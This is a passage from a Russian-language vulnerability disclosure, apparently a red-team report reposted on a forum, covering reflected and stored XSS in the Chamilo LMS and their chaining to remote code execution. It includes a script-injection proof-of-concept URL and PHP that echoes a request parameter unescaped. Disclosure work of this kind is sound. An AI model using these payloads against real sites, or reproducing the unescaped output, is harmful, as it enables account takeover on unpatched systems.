/main/upload/index.php?tool=IVOIRE%22%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cinput%20type=%22
Файл:
/main/upload/form.document.php
PHP: Скопировать в буфер обмена
Код:
<?php
...
$nameTools = get_lang('FileUpload');
$interbreadcrumb[] = ["url" => "../lp/lp_controller.php?action=list", "name" => get_lang(TOOL_DOCUMENT)];
Display::display_header($nameTools, "Doc");
// Show the title
api_display_tool_title($nameTools.$add_group_to_title);
?>
<div id="dynamic_div" style="display:block;margin-left:40%;margin-top:10px;height:50px;">
</div>
<div id="upload_form_div" name="form_div" style="display:block;">
<form method="POST" action="upload.php" id="upload_form" enctype="multipart/form-data">
<input type="hidden" name="curdirpath" value="<?php echo $path; ?>">
<input type="hidden" name="tool" value="<?php echo $my_tool; ?>">
<input type="file" name="user_file">
<input type="submit" name="submit" value="Upload">
</form>
</div>
<br/>
<?php
Display::display_footer();
Отражённый XSS можно легко определить и использовать, создав URL, содержащий вредоносный параметр
$_REQUEST['tool']
.Эта уязвимость не была использована в цепочке эксплуатации.
Нажмите, чтобы раскрыть...
V7: Хранённый XSS в
/main/calendar/agenda.php
- Путь запроса:
/main/calendar/agenda.php
- Параметр запроса:
$_POST['content']
Можно использовать хранимый XSS через функциональность календаря. Проблема в том, что он срабатывает только при изменении содержимого события. В результате его использование в реалистичном сценарии атаки очень ограничено, в отличие от следующей уязвимости, которая будет описана (V8).
Эта уязвимость не была использована в цепочке эксплуатации.
Нажмите, чтобы раскрыть...
V8: Хранимый XSS через функцию обмена сообщениями.
Злоумышленник может отправить злонамеренное личное сообщение администратору, используя немного изменённый полезный нагрузку (по сравнению с предыдущими). Когда администратор открывает сообщение и пытается ответить, полезная нагрузка выполняется, что потенциально позволяет злоумышленнику получить выполнение кода (V2).
- Путь запроса:
/main/messages/new_message.php
- Параметр запроса:
$_POST['content']
Эта уязвимость не была использована в цепочке эксплуатации.
Нажмите, чтобы раскрыть...
Заключение
Получение удаленного выполнения кода от неаутентифицированного пользователя путем объединения некоторых из представленных уязвимостей является тривиальным (V1, V3), так как функциональность, позволяющая пользователю регистрироваться, включена в стандартной установке. Однако во время нашей миссии эта функция была отключена, и поэтому мы использовали другую уязвимость (SQL-инъекция без аутентификации в плагине), чтобы получить полную цепочку.
Не редкость искать уязвимости нулевого дня во время упражнений Red Team, особенно в определенных особых случаях (ограниченная поверхность атаки, необходимость в скрытности и т. д.), и мы рады, что смогли их найти.
Реализация корректирующих мер.
Уязвимости были сообщены команде разработчиков Chamilo 4 апреля 2024 года. Мы хотели бы поблагодарить разработчиков Chamilo, с которыми взаимодействие по вопросам отчетов об уязвимостях и реализации патчей прошло очень гладко.
Коммиты для исправления выявленных уязвимостей были отправлены нам партиями. Список коммитов, реализующих патчи для выявленных уязвимостей, представлен ниже:
View hidden content is available for registered users!